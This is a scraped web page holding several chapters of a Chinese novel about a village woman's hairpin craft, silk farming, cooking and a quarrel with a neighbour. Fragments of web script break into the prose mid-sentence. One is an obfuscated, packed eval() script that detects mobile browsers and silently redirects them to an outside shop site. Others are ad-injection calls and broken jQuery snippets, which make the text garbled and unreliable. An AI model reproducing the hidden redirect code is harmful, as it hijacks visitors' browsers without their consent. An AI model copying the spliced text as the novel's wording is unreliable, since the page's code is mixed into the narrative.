花了约一个时辰，便将一支梨花簪做好了，簪体她采用的是半曲式，五朵大小不一，形态各异的梨花攀在半曲式的簪体上，莹白如雪，簪子整体给人一种素净婉约的感觉。 余晚桃将这支梨花簪别在了窈儿的鬓发一侧，取来铜镜让她自照:“这簪子衬你，婉约而不娇媚。” 窈儿按耐着心里的起伏，这支簪子就在她眼皮子底下完成的，实在是太神奇了，这种感觉言语无法表达，她眨眼间便不可抑制地滑落泪珠。 “我从前汲汲营营盘算着，只为嫁得个好人家，不用为人妾室，如今却觉得，若我也能学得谋生的本事，怎还肯将一生托付在男子虚无缥缈的誓言上，毕竟我眼前不止一条路了。” “人活一世，自有多种活法。” 余晚桃拿出帕子替她擦了泪，故作严肃道:“若学得不好，那我可是要罚你的。” 窈儿用力点头:“我定会好好学的。” 她平复了情绪，欲将鬓间的簪子取下来，余晚桃按住她的手，笑道:“戴着吧，当是送你的。” “这一支若拿去卖，定能卖不少银子吧。”，窈儿心里有些忐忑:“我来学艺，该是我准备拜师礼才对的，怎还好收你的东西。” “无碍，我不讲究那些的。” “那也不成，这支梨花簪我真不能收。” 窈儿说甚都不肯收，余晚桃也并未逼她，只换了说辞:“那我便先收着，等你能自己单独完成一支簪子时，这个就当做是奖励。” 窈儿开心应了。 “阿桃。”，崔玉棠敲了敲门，声音传来:“陈小姐和刘小姐来找你了。” 余晚桃捏了捏肩膀，走过去开门。 想必是来送八合缘制作材料的。 家里都是外来女眷，崔玉棠不好久待，带着两本策论册和弓箭就出门去了。 陈小绣和刘云都是坐马车来的，县里姑娘，没怎么见过村里的屋舍，进了院子就好奇地东张西望，但也守着上门做客的礼数，克制着视线。 “屋舍简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744544|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陋，二位姐儿可不要嫌弃。”，余晚桃招呼她们坐着，自己去灶房里取来平时待客用的茶盏，泡了一壶子桂花蜜茶。 窈儿这时也出来了，她自是认得陈小绣和刘云，不过因着身份差别，平时并没有接触过几次，最多照个脸熟。 她过去见了礼，就同余晚桃小声说:“桃子姐，你去招待她们吧，我来忙灶房这边。” “不用，你也一起过来，听我们说说话。”，余晚桃牵着她，到桌前坐下，见刘云身后两个小厮抬着箱子进来，便知道是八合缘的制作材料。 “喏，这是清单。”，刘云从袖里递给她一张纸。 余晚桃接了过来，让两小厮把箱子打开，一一清点，确认无误后去检查蚕丝的质量，她发现这蚕丝眼熟得紧，摸了摸质感和络丝的方式，顿时有些哭笑不得。 “你们这蚕丝在锦庄买的吧？” 刘云微睁大眼:“你怎知道的？” 她站起来，抿着嘴道:“我可与你说，就这些蚕丝锦庄卖得可贵了，但我娘对比了好几家布庄的蚕丝，都觉得他家的最好，果然是贵有贵的质量。” 余晚桃问了价，得知比锦庄从自己这收的价高了一半，微微咂舌，中间商赚差价真是要命啊，看来这生意还是要自己做才最赚钱。 东西贵重，余晚桃让人将箱子抬进屋里锁好，转手拿了小簸箕的板栗出来，让她们剥着吃。 她笑道:“难得你们来做客，等会可要吃了饭再走。” “那是肯定的，我可馋你的手艺了。”，陈小绣眯眼笑着，余光落在窈儿身上，她皱着眉头仔细回想了一阵，忽然一拍大腿，“我说这么眼熟呢，上次在酒儿巷我见过你，你那时同游子涧在一块。” “我是游子涧的小姑姑，你可识得我？” 窈儿乖乖点头，答得有些拘谨:“自是识得的。” “我可告诉你，以后离他远点吧，同他相好是万万不行的。”，陈小绣占着自己辈分大，理直气壮地说起游子涧的不是来:“他可是个心思歪的，为人最是花心了，一副浪荡做派。” 窈儿垂眸:“陈小姐说笑了，我同游公子也不过几面之缘，没其他关系。” “那就好。”陈小绣拍着胸脯，仿佛自己又拯救了一位被自家浪荡子侄迫害的无辜女子一般，颇有些自豪。 刘云戳她胳膊，故意打趣:“你这样说他坏话，仔细回去有你好果子吃。” 陈小绣哼了一声:“我才不怕她。” 刘云撇嘴，她吃着粉粉糯糯的板栗，问窈儿:“你今儿也是来找晚桃姐姐玩的吗？” 窈儿说:“桃子姐要教我做绒花饰品的手艺，我如今在她这暂住两日。” 刘云噢了一声，低头继续剥板栗吃。 “可别吃太多了，板栗不好克化。”，余晚桃站起来去把院门关了，与她们说道:“你们先坐着聊聊天，我备菜去。” 毕竟是第一笔订单的大主顾，还是要好好招待的，这些关系打好了，以后都是固定的客源。 35. 烤番薯 在村中请客不如县里菜品丰富，但胜在新鲜，不用外出采买，用家里存货就能做出一桌家常菜来。 许是县里小姐吃多了山珍海味，这会一桌子农家饭菜占个新奇，很合心意，吃起来畅快。 几人一边吃着一边聊，不多会小细柳背着桑叶回来了，见院外停着马车，院里招待着贵人，她拘谨地问了好，钻进蚕舍里就没出来了。 窈儿给她盛了饭菜进去。 陈小绣和刘云吃好后也没多留，依依不舍聊了一阵子就走了。 余晚桃把人送出院子，转身进了蚕舍。 “怎么在蚕舍里吃饭？” 小细柳有些不好意思:“我身上脏着，不好冲撞了贵客。” “她们已经回去了，出来吃吧。”，余晚桃知她性子，也没再说甚，只是扭头看向窈儿:“我那还有一些染色的原材，等会我把配比给你，你试着调一个稻穗的颜色出来，等颜色配出来，我教你染丝，固色。” “哎。”，窈儿开心地点头，有些跃跃欲试。 院里安静忙开。 临近傍晚，崔玉棠拎着一只野兔回来。 短打背弓，走路带风，腰间还别着两本书，瞧着猎户不像猎户，书生不像书生的，自个却乐在其中。 晚上进灶房做了一顿青椒麻辣兔丁，次日就穿上青衫长袍，背着书箱，风度翩翩地去书院，一点儿也不违和。 …… 院里竹篱笆根长了些杂草，余晚桃见日头好，便拿着锄头清理院里的杂草，发现有鼠窝时整个眉头一皱，忙去余五爷爷家买了一包毒鼠粉回来，沿着蚕舍周围撒了一圈。 怕蚕舍里已经闹了老鼠，她又仔细检查了一边蚕舍里边边角角的地方，确认没有老鼠钻洞进来，才稍微松了口气。 这要是让老鼠挖了洞进来，那这些蚕是不够它们吃的。 她看着蚕座上长大了一圈的蚕，都挺活泼的，可见是已经完全适应了现在的桑叶，眼下九月初，到十月底基本都能全部上簇。 江南府地界的气候还算温和，根据往年的情况看，十月份气候会变冷，但没到下雪的程度，蚕舍里如果温度太低，还要另外烧炭来保温，否则会影响到蚕的上簇。 村里人没有存炭的习惯，一般都是直接储存柴火，这个时节，有些门户都已经开始进山砍柴存柴了。 余晚桃将蚕舍门仔细掩上，见窈儿一脸沉迷地在捣鼓染色配比，她回屋里带了一些碎银，出门往木匠家去。 木匠姓牛，是外来户，家里人口多，四五个儿子全是在县里码头做工的，自己也有木工的手艺在，在村里头算是富裕户。 余晚桃之前来他家定过一些桌椅，质量都不错，这次是打算定做一方书案，和一张新床。 老屋里现在睡的床都是旧床板，窄小且生了蛀虫，之前一直就想换，可是因为家底太薄，就耽搁到了现在。 牛木匠是老手，确定工艺后收了定金，对余晚桃说:“最近单子不多，书案三天能做好，床要多几天，我这都是好料子，打一张床，睡个十几年不成问题。” “那就麻烦您了。” 余晚桃从牛木匠家出来，迎面就撞上李氏。 李氏看上去憔悴了许多，像是一下子遭受了经不住的打击，那股泼辣劲也没了。 余晚桃礼节性地喊了她一声，便打算擦身而过。 “等一下。”，李氏喊住她，回过头来，盯着她问:“听村里人传你手里捏着一门缫丝手艺，在县里布庄赚了一百多两银子，是不是？” 余晚桃笑了下，嘲道:“我要真赚了这么多银子，还会继续住在那破老屋里？舅母也真是信余贵家的那张嘴，前儿我去河里洗衣服，还听她传舅母的坏话呢，说舅母故意磋磨表嫂，就是想要侵占表嫂的嫁妆，结果偷鸡不成蚀把米。” “我呸！这个该死的烂嘴长舌妇，敢传老娘的闲话，看我不撕了她的嘴！”，李氏一下子斗志满满了。 余晚桃眼眸闪了闪，她换了语气，说道:“听说表嫂娘家在县里给表嫂买了一栋宅子，表哥以后也跟着住县里了。” “您啊，要是也想过县里的好日子，可要哄着些表嫂，她一高兴，说不定就把您接到县里去，到时候住大宅子，还有仆人使唤，那是多有滋味的日子呀，村里人不得羡慕死。” 李氏拉着脸:“要我一个当婆婆的去哄儿媳妇？做她的美梦！” “那您就只能留在村里，每天喂鸡、喂猪、下地干活，上山挖野菜了。” 余晚桃慢悠悠地给她留下话，扭头走了。 当天下午，她去摘桑叶，就听村里传李氏和余贵家的干/上了，先是互相指着对方骂，嘴里的话一句比一句脏，后来直接打起来了，还是两家的男人去拉架，好半天才消停下来。 李氏真是一天亏都没让自己吃啊，幸好是没将她攀扯出来。 余贵家的说李氏坏话这点倒不是她胡扯，主要也是上回着实听到了，本也没把这八卦当回事，可余贵家的这几日也没少背地里蛐蛐她。 这朝报复回去，着实暗爽。 李氏那性子，够她吃一壶的了。 余晚桃背着桑叶回去，喂了蚕，检查完窈儿的配色成效，就开始教她染丝和固色的技巧。 稻穗色金黄明亮，用在发饰上可以制作全绒的流苏簪，也可以用来制作同色系的绒花摆件，或者工艺品。 见她逐渐上手，余晚桃便着手准备制作八合缘套件。 八合缘的工艺非常复杂，余晚桃打算先从两樽金童玉女绒花摆件开始，她花了些时辰把需要用到的材料和工具都分类摆放出来，做足前期的准备功夫，翌日全身心投入制作中。 一开始忙起来就顾及不到蚕舍里的活，小半个月下来家里都是小细柳忙前忙后，窈儿每天也有余晚桃给她布置的作业，隔日还得回慈济堂同管事嬷嬷报备行踪。 到十月初，八合缘的制作基本进入收尾阶段。 天儿变冷了，井里刚打上来的水都冻手，在屋里捏着细细的铜丝被寒风一呼，手指直打颤。 余晚桃朝手心哈了一口暖气，拢紧身上新添的棉衣，将桌上的狼藉收拾干净，把制作完成的成品小心翼翼地收进填了棉的大妆匣里。 “忙完了？”，崔玉棠推门进来，捂着一个热乎乎的烤番薯，递给她:“细柳姐在灶膛里烤的，很香甜。” 余晚桃被烤番薯的热度烫了一下，呼了几口 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气，待手心适应了，才慢慢剥皮吃，这番薯是黄心的，村里老品种，要比紫心的甜一些。 她眯着眼，浑身因为几口烤番薯暖了起来:“过几天得把地里的番薯都挖回来，现在番薯苗都差不多干完了，我看丁婶家的番薯半个月前就开始挖了。” 崔玉棠轻声笑:“丁婶家的番薯种得也比我们家的早。” 他走到崭新的书案前，把昨夜做的经义帖归拢起来，废纸正反面都用了的就折叠起来收好，只用了一面的则放到一边，俯首间视线落在宽阔、结实的新床上，眉心动了动。 “趁着我旬休，把家里屋顶翻整一下吧，后院空出来那块地盖个泥屋，用来储存过冬的食物和柴火。” “那去问问庆叔有没有空吧，请庆叔帮忙砌一下，他有经验。”，余晚桃吃完了烤番薯，拍拍手揉着自个有些僵硬的脖子，她见崔玉棠盯着新床和书案看，便走了过去。 “牛木匠的手艺还行吧，这个书案的高度怎么样？” “挺好的，正合适。”，崔玉棠侧眸看她，眼底铺着温暖的碎光:“谢谢阿桃这般为我费心，辛苦你了。” “无端说些客气话做甚。” “好，那不说这些了，天气冷了许多，我们今晚吃腊肉炖萝卜吧，我下厨。” 余晚桃应了一声，和他一起出了屋子。 她去隔壁同余天庆说了一下要砌泥屋的事，余天庆爽快答应了，第二天就招呼着崔玉棠去山脚底下运黄土回来和泥砖。 丁婶也跟着过来帮忙了。 家里喊人帮忙，自是得做一顿好肉。 余晚桃去村里屠户那买了只新鲜猪蹄和一扇猪肺回来，猪蹄是后蹄，肉多也紧实，最适合拿来做红烧猪蹄。 她拿火折子把猪蹄表面的细毛根都烧干净，剁好后放姜片和白酒焯水去腥，边上切些土豆作为配菜。 小细柳喂完蚕，洗了手后进来帮忙。 她去木柜里舀了良米出来淘洗，蹲在水缸边同余晚桃说:“三龄蚕胃口变大了，这几天总觉得摘回来的桑叶不够，桑园里的叶子都快薅秃了，再这样下去，等五龄期的时候，桑叶哪里够喂。” “到时候如果桑叶不够，就去附近村子里的桑蚕园里订一些。”，余晚桃把焯好水的猪蹄捞起来。 刷干净锅后倒油，加佐料炒香，倒入猪蹄，反复翻炒至表皮焦黄，加入酱油调色，再加水，放些八角桂皮和黄糖，盖上焖煮半个时辰。 小细柳把米蒸上，在上面加一层蒸笼，放些鸡蛋、茄子，和一把子蒜瓣，最后往笼盖边沿围一圈布挡着热气。 她拿围裙擦擦手，搬了凳子过来剥板栗，叹气道:“要是没把桑园分租出去，那我们的桑叶是铁定够喂的，你可瞧瞧最近村里的闲话，做了好事没落着一个好，尤其是余贵家的那婆娘，一边占着你的好处，一边觊觎你的手艺。” “知道你把手艺教给外村人后，那是骂得要多难听就有多难听，甚么胳膊肘往外拐，养不熟的白眼狼之类的。” 余晚桃往灶膛里加了几根柴火，闻言不以为意。 也就只敢背地里蛐蛐，当着她的面却是装个好长辈的样，等十月底收了蚕茧，倒要看看能作出甚么妖来。 36. 爆炒猪肺 焖着猪蹄时，余晚桃抽空把猪肺焯水洗出血沫子，切成薄片备在大碗中。 “这猪肺不好吃的。”，小细柳皱眉瞅着那碗猪肺。 猪肺腥得很，平时都没甚么人买，又不是荒年，一年到头都见不着荤腥的人家才会买来吃。 余晚桃把青红辣椒和黄姜切丝，胸有成竹道:“多放佐料和白酒去腥就行，爆炒猪肺还是挺下酒的。” 最好是大火爆炒至猪肺片表面微干，水分完全被炒干，把葱姜蒜和辣椒的香气彻底吸收，这个时候的肺片口感是最好的。 这个时辰猪蹄没焖好，炒菜还早了些，余晚桃打算去后院的菜地里摘一颗白菜回来，她绕过屋沿，就见后院里空出来的一大片地方已经砌起了齐腰的矮墙。 “这么快就砌一半了？” 余天庆熟练地刮着泥砖:“一个泥土屋又不费啥功夫，瞅这进度，下午就能搭屋顶房梁了，往上再铺几层干稻草就行了。” 余晚桃哎了一声，去菜地里挑了一颗大白菜拧断根抱起来，高兴道:“等屋子搭起来，我这些过冬的存货就有地方放了。” “你这些白菜该收了，再过一阵就得烂根。”，丁婶边和黄土，边同她说:“还有地里的番薯也得尽快挖起来，这番薯啊得放一放，吃起来才甜。” “过几天我就都收回来。” 余晚桃抱着白菜回到灶房这边，切了一半出来洗，打算简单炒个酸辣白菜。 她揭开锅盖看猪蹄炖得差不多了，就把火引到旁边的灶膛里，留一根细柴慢慢熬出猪蹄胶质。 另一边铁锅烧热后多倒些油进去，油热时把猪肺倒进锅里不停地煸炒，水分完全被蒸发出去后把猪肺铲到锅沿留出中间位置，将辣椒丝、姜丝、蒜片加进去爆出香味，再和猪肺一起大火翻炒两分钟左右，取少量白酒增香，最后撒一把葱段，即可出锅。 趁着灶膛里的柴火还旺，余晚桃把辣炒猪肺端出去，又快速炒了一海碗的酸辣白菜出来，最后再来一道板栗蛋花汤。 “细柳姐，去喊他们过来吃饭吧。”，余晚桃将锅里的红烧猪蹄盛出来。 四四方方的木桌摆了几样大菜，旁边一桶白米饭，碗筷都收拾得干干净净。 后院里忙活的人很快说说笑笑地过来了。 丁婶见这一桌好菜，眉头不由得一皱:“你说你恁破费买这些肉来，自家人煎条腊鱼再炒个青菜就行了。” “行了，净说些扫兴话。”，余天庆大大方方地落了座，自己给自己舀饭，他看了自家婆娘一眼:“桃子有这心，你就安心吃吧，一顿两顿的又不是甚大问题。” 丁婶节俭惯了，见这好米好肉的免不了要唠叨两句，她瞪了过去:“你这是不当家不知道柴米油盐贵。” “下午还要搬泥砖呢，那是个费力气的活，这会自是要吃好些的。”，余晚桃笑着劝话。 桌上氛围缓和了，大家都欢欢喜喜地吃了起来。 “这猪肺吧？炒得是一点腥味都没有，够辣味足，再来点酒就好了。”，余天庆在十月的天儿里吃出了满头大汗。 丁婶笑:“桃子这手艺，去县里开吃食摊子都使得，上次那紫苏辣炒田螺，我后来都念了好几天。” 余晚桃道:“哪有婶子说得这般夸张，我这手艺啊家常菜是没问题的，开吃食摊子可没那本事。” “还跟婶子谦虚起来了。”，丁婶一瞥坐她旁边的崔玉棠:“你看二郎吃得多香。” 崔玉棠筷子一顿，抬头:“婶子这是在打趣我呢。” “我这不是看你一上午都不咋说话嘛。”，丁婶嗐了一声，“这闷性子。” “婶子胡扯，二郎性子才不闷。”余晚桃捧着饭碗，给崔玉棠夹了一块胶质满满的猪蹄。 丁婶乐得见小两口感情好，笑呵呵地假装打自个嘴巴告饶，话题一转就又说到孩子上面去了。 这下轮到余晚桃合上双手告饶了。 好端端的，净扯些令人尴尬的话题。 崔玉棠侧眸淡淡看了她一眼。 吃了午饭，几人继续回到后院砌泥砖。 上完房梁后，崔玉棠去背干稻草，来回跑了许多趟，铺了足几层厚的顶。 至傍晚时分，一间简单的泥砖屋才算是砌好了，等自然风干两天，把木门装上，就能往里放东西。 忙活一日大家都累得不行，各自散去。 余晚桃夜巡过一遍蚕舍，才去舀热水。 洗完澡后，她披着棉衣去把灶膛里的火熄了，小跑着回屋去，快速把门关上，挡住愈发侵入骨缝里的寒意。 “怎么还开着窗？”，余晚桃把自己塞进被窝里，露出脑袋搁在床头边，去看在书案前执笔认真写字的崔玉棠。 崔玉棠回头见她裹得严实，撑起身去把窗关了，温声同人解释:“夫子留了一道策论题，我有些不知如何破题，便开窗吹会夜风，醒醒脑。” 余晚桃打了一个哈欠，顿觉无聊。 学渣便是闻书香而思暖梦，听不得那些书上的知识，一听就犯困，想做美梦。 她翻身躺好:“那你继续思考吧，我要睡了。” “你不好奇是甚么策论题？” “我又不用考状元。”，余晚桃把被子拉高，安详地闭上眼酝酿睡意。 崔玉棠默了默，他起身坐到床边去，脱了鞋袜也翻身进了被窝。 被子猛的一掀，周遭的冷意灌了进来，冻得余晚桃一哆嗦，她疑惑地看向隔壁:“你不破题了？” 崔玉棠说:“此题甚难。” 余晚桃从被窝里露出一双眼睛，眨了眨:“到底是甚么题能难倒我们二郎？” “夫妻者，非有骨肉之恩也，爱则亲，不爱则疏。这段话出自《韩非子·备内》，其所言的是夫与妻的关系，圣人又道——仕者，唯立齐家治国平天下三大志，家虽在前但往往是最容易被忽视的。” “齐家便是夫妻和睦，圣人既认为这是治国，平天下之根本，那世又有权贵只为满私欲而后院妻妾成群，这岂非有悖于夫与妻的齐家之论。” 绕了一大圈，崔玉棠说到重点，“阿桃，那你觉得你我二人之间的夫妻…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”，他目光落在余晚桃安静的睡脸上，顿了顿，小声补充:“关系是怎么样的呢。” 月寂烛火熄，崔玉棠悄悄挪过去，直至彼此肩膀贴紧，黯然睡去。 次日起来，就着昨晚的猪蹄，将剩下的半颗白菜切了清炒，再捞把酸豇豆上来，吃了顿热乎乎的的朝食。 余晚桃回屋去收拾了一下房间，把夏季穿的薄衣收到箱笼底去，翻出两套缝制了内棉层的宽袖长袍，折好后拿包袱卷着，塞进崔玉棠的书箱里。 等天再冷些，下了雪，书院不比家里还能烤火，出行许是会不方便，看她舅母往年，都会给表哥做一件兜帽大氅拿去书院，里面压着棉花，外边是缝制的兔毛，既保暖又能挡雪。 她是没有那门子手艺，只能等改日去县里，看看有没有现成的买了。 “在屋里作甚？刚秋嫂子过来说她家里今儿收玉米，你要有时间就去帮她家收一收，等完事了给咱提一筐回来。”，崔玉棠推门进来，把林小秋的话转告给她。 余晚桃把书箱盖上，回过神来:“可以啊，本来今儿也没其他事。” “你那套陪嫁饰品的单子忙完了？”，崔玉棠走到书案边把昨夜打开的书本收好，笔毫墨砚归回原位。 “差点收尾了，时间来得及的。”，余晚桃挨蹭过去，看案台上空白纸张几处墨点，想到昨夜睡过去前听他念叨的几句话。 “你昨夜说的策论题，最后想出如何破题了没？” 崔玉棠无奈地扫她一眼。 “看我作甚？我又不会破题。”，余晚桃奇怪地蹙起秀眉。 崔玉棠摇头，随口应付她:“如何破题暂且不想了，顺其自然吧。” 他接着道:“难得空闲你在家歇歇吧，秋嫂子家的玉米地多，你去了又得忙一日，若是想吃就去买一筐回来。” “秋嫂子都专门过来喊了，怎么能不去。” “那我去吧。”，崔玉棠当即道。 “你？” “嗯，我去。” 林小秋都亲自上门来喊了，他们家不去个人帮忙确实不太好，况且林小秋平时也挺照拂她们的，这份人情得还。 崔玉棠主动把活揽了过去，余晚桃也没再坚持要自己去，等他出了门就去蚕舍里看看，把家里打扫一下，又去后院新砌的屋子转了一圈，回到前院坐着剥板栗吃。 难得悠闲，她看看天色，拢紧衣领回屋午睡去了。 下午起来把八合缘的工序结了尾，其余没用完的料子全部登记好放进一个箱子里，边上精致的妆匣大小不一，装着做好的饰品首饰，被仔细搁置到一处。 快接近刘云的婚期了，这套陪嫁饰品完成的时间正好，不早不晚，还余下七八日能做一些简单的修改，等得空去一趟县里，就能通知刘家来验货了。 晚些时候，天边积着一团黑压压的乌云，似要下雨的前兆。 崔玉棠顶着张不算好的脸色，背着一竹筐玉米，慢腾腾回到家，小细柳拎着只死鸡跟在后面，掩上院门。 竹筐一放，就兀自坐到门槛那生闷气。 37. 板栗鸡汤 “怎么了这是？” 余晚桃认出小细柳手上的死鸡是剪了翅羽的，像是她们家养在桑园里的那批。 小细柳咬着牙，气道:“还不是余贵家那婆娘，带她孙子去桑园里摘叶，非要说我们家的鸡啄伤了她孙子，拿着扁担当场打死了两只，完了还想拿回家去自己吃，二郎不是在附近帮小秋她家掰玉米嘛，听见动静就跑过来，起了些争执。” “咱二郎是个读书人，哪里骂得过那泼妇啊，这不就气着了。我最后去抢，也才抢回来一只。”，小细柳说这话时，格外的小声，还特地瞄了一眼门槛方向。 崔玉棠幽幽抬头。 小细柳立刻不说了，拎着鸡进灶房去烧水拔毛。 桑园里的鸡当初小小只的，还是崔玉棠亲自去买回来的，小半年下来养得毛顺水滑，眼看着开春就能下蛋了，却乍的一下被打死了两只，确实挺心疼的。 余晚桃可咽不下这口气，她从屋里翻出当初的租赁契书，一声不吭地出门去。 崔玉棠取来自己的弓箭快步跟上去，担忧道:“阿桃，你别冲动。” “我像是冲动的人？”余晚桃慢悠悠走着，见他连弓箭都带上了，笑了下，直直往村尾去。 临到门口，她停了脚步:“二郎，知道你为什么吵不赢余家的吗？你脸皮太薄了。” 崔玉棠有些羞臊，家教使然，他着实骂不出那些难听的话。 “看我等会怎么给咱家的鸡出气。”，余晚桃话音落下，扬起灿烂的笑容，推开余贵家半掩的木门，不请自入，权当在家里般自在。 “贵叔家里炖鸡吃呢，哎呀贵婶子这手艺就是没话说啊，大老远的我都闻着鸡汤香了。” 她挤开埋头吃鸡腿的小豆丁，自己坐下来，伸手就将锅里剩下的那个鸡腿扯了下来，自己咬了一口，然后递给身后的崔玉棠。 她笑着说:“二郎快尝尝，咱家养的鸡我还是头一回吃，挺不错的。” 余晚桃这一连串举动，让桌上一家子面色腾地变了，余贵不悦道:“桃子，你这是甚么意思？” “没甚么意思呀。”，余晚桃笑吟吟看着对面目光几乎要吃人的贵婶子:“这段时间，贵婶子在村里传的那些话我不是没听到，多难听都有，但我都默默受了，毕竟是一个村子里的，还是我的长辈。” “但婶子当我是软柿子捏呢？拿我家鸡撒气。” “你在发什么疯癫。” 余贵媳妇啪地放下碗筷，大声道:“这鸡是你家该赔我的，啄伤了我家孙子，我没找你们赔药钱已经是宽宏大量了，哼！现在为着一个外姓人打上门来跟长辈叫板，果然是个没爹没娘养的。” “贵婶这话说得真是搞笑，我们大桑村世代大姓余，我家二郎是外姓人，那你又姓什么？跟我在这，你也好脸来扯甚外姓不外姓的。” 余晚桃拍桌站起，冷声道:“我家的鸡养在桑园里好好的，和你租的桑地隔着大半个园子，怎么就特地过去啄你孙子了。你自己不看好孩子，倒怪起我家的鸡来了。” “我告诉你，现在马上就让五爷爷来，要是没在你孙子身上发现一点破皮，今儿不赔我两只鸡钱，就一起去村长那评理！” “还有我家的桑地也不租给你们了，你们爱上哪摘桑叶就上哪摘去，再敢进桑园，我让二郎拿箭射断你们的腿。” 崔玉棠十分配合地拉弓搭箭。 余贵被那尖尖的箭矢吓到，忙站出来把小孙子抱起来塞给儿媳妇，让她带孩子进屋去:“桃子，我还在这呢你喊打喊杀像甚么样子！” 余晚桃阴阳怪气道:“原来贵叔还在这呢，我看你都不咋出声，还以为不管事了呢，瞧贵婶儿骂我没爹娘养呢，叔也没站出来为我说一句，我爹和您还是同族兄弟呢，要是二老在地底下知道了，不知得多伤心。” “你个贱蹄子！李氏真是没骂错你！”余贵媳妇狠狠地往地上吐了一口唾沫，咒骂。 “够了！再骂就滚回娘家去。”，余贵沉下脸，喝了自家婆娘一声。 贵婶子登时歇了声，眼里喷火，怨恨瞪着余晚桃。 余晚桃抱臂，微微歪头:“贵婶不就是眼红我赚了钱，没把缫丝手艺教给你嘛，瞧瞧这气得一张脸跟当初的李阿婆一个样了，像睡了三天棺材似的。” “这件事是我娘的不是，但桃子你也适可而止，她毕竟是你长辈。”，余贵儿子看不下来，皱着眉为他娘说话。 “长辈可不是这么当的。” 余晚桃掏出那张契书，冷撇了贵婶子一眼:“贵婶儿这般性子实在叫我害怕，咱两家往后可别再合作了，这是当初租桑地的契书，当时签订的是一期为契，也就是到十月底，眼下也没多少天了，算是我违约先解契。” “这两百文是违约赔付给你们的钱，明儿起就别再来我们桑园摘叶了。”，余晚桃拿了两吊铜钱搁到桌上，自己又拆了三十文收回去。 “这三十文是贵婶子打死我家鸡要赔的钱，要是不服就去找五爷爷给你家孙子检查身体，他若是说确实伤了，我三倍赔给你药钱。” 余晚桃拍拍手，转头走人。 余贵忙追出去:“桃子，这五龄的蚕正是要大量吃桑叶的时候，你这突然就不租给我们了，不是把我们往死路逼吗！” 余晚桃好笑道:“既然知道还要靠着我家的桑园养蚕，那为何贵婶子这些日子以来，在村里对我的诋毁，和今儿打死我家鸡的这些行为，贵叔都不阻止一二？还是叔心里其实也是这样想的？” “爹娘死了之后我在舅母手底下受了多少罪村里人有目共睹，如今好不容易当家立户了，赚了些银子，就都来使些下作绊子欺负人，泥人也有三分脾性呢。叔您也别同我说，婶子那样做派，想必早就想好了其他采买桑叶的路子。” “哦对了，看婶子这样，想必年后开春的桑树培育种植也不稀罕了，正好，我也不想教了。” 脸子都撕破了，余晚桃便毫无心理负担地说了出来，她扫了一圈屋里人，不管脸色多难看，扯着崔玉棠回家去了。 出了院子外边，远远能听到余贵怒骂贵婶子的声音。 崔玉棠手里还拿着被余晚桃咬了一口的鸡腿。 他举了举:“还吃吗？” “当然吃，可不能浪费。”，余晚桃接过来，眯着眼睛大口吃鸡腿，剩下的鸡骨头直接扔路边让狗叼走了。 “本来还得担心桑叶不够，这下好了，收回一片桑地，直接解决了问题，贵婶子自己送上门来的把柄，我毁约也毁得心安理得了。” 崔玉棠顿时了然:“出门时你带上契书，就有了这打算？” “自然，我可是不吃闷亏的。” 余晚桃笑容明亮狡黠，露出雪白的一口牙齿，表情得意， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 像身后有条无形的尾巴在摇来摇去。 崔玉棠摇头轻笑。 回到家里时小细柳正炖着鸡。 见二人笑着回来，便知道没吃亏，打趣说:“吵架这种事，还是得桃子来。” 余晚桃抿嘴，觑她:“这意思说我是个泼妇呗。” “我可没这样说。”，小细柳捧腹大笑。 余晚桃朝她哼了一声，挤到灶台边，使劲嗅了嗅:“是炖的板栗鸡？” 小细柳好半会才止住笑，擦了擦眼角笑出来的泪水，把锅盖掀开:“咱家板栗多，拿来炖鸡可香了。” 板栗鸡汤浓味鲜且温补，确实适合冬天吃。 余晚桃美美吃了一顿，桌上同小细柳说:“我把贵叔家租的桑地收回来了，明天可以自己过去采摘，之后也不用考虑去别的桑园买桑叶了，自己地里的够吃。” 小细柳抓着一个玉米棒吃，闻言楞了下:“他家里能愿意？” “这事是贵婶子先不地道的，人家个个的心里虽然不服气，但都没现出来，就是顾忌着桑园里的租地，就她非要上下蹦跶，我只能拿她下手，杀鸡儆猴了。” 经过贵婶子这事，村里人也知道了余晚桃的态度，后边该怎么做自然有了章程，只能说贵婶子一家活该。 夜里洗完澡，余晚桃掩门回屋，见崔玉棠随意披着发，在试她之前塞到书箱里的长袍。 灯下看美人许就是如此。 她笑吟吟地走过去:“肯定合身的，放心吧。” “可有给自己置两身冬衣？”，崔玉棠得人惦记，置新冬衣，心里自然是高兴的，可又怕余晚桃只顾着他，而忽略了自己。 余晚桃点头:“自是有的，家里人都置了新冬衣，细柳姐也有呢。” 崔玉棠小心翼翼地把衣裳脱下，折叠好重新放回书箱，转身握住她的手，到床边坐下，神色担忧道:“阿桃，明日贵叔应该会请村长来说情，你莫要强硬应对，要适当示弱，人性都是会倾向于弱势一方的。” 依照贵婶的性子，定是同村长一哭二闹三打滚地说自己家有多难，眼下村里人本就对她们家颇有微词，这事闹起来不见得有多少人会站她们这边。 余晚桃秀眉微蹙，把手抽回来:“那我也同村长哭惨，大家一起耍无赖好了。” “我明日早晨便要回书院，不能在家帮你了。” 余晚桃耸着肩膀:“我可是跟舅母上过公堂掰扯的，有甚么招数尽管使来，我又不怕，你该去读书就读书。再说了吵架你也吵不赢，你在不在都不影响我发挥。” 崔玉棠闻言，委屈地垂下脑袋:“是我无用。” 余晚桃咳嗽了一声，挽救道:“二郎你是读书人，有文人气节，自然是不能同村里那些泼妇逞口舌之快的。” 崔玉棠不听，翻身进被窝里，留给她一个生着闷气的后脑勺。 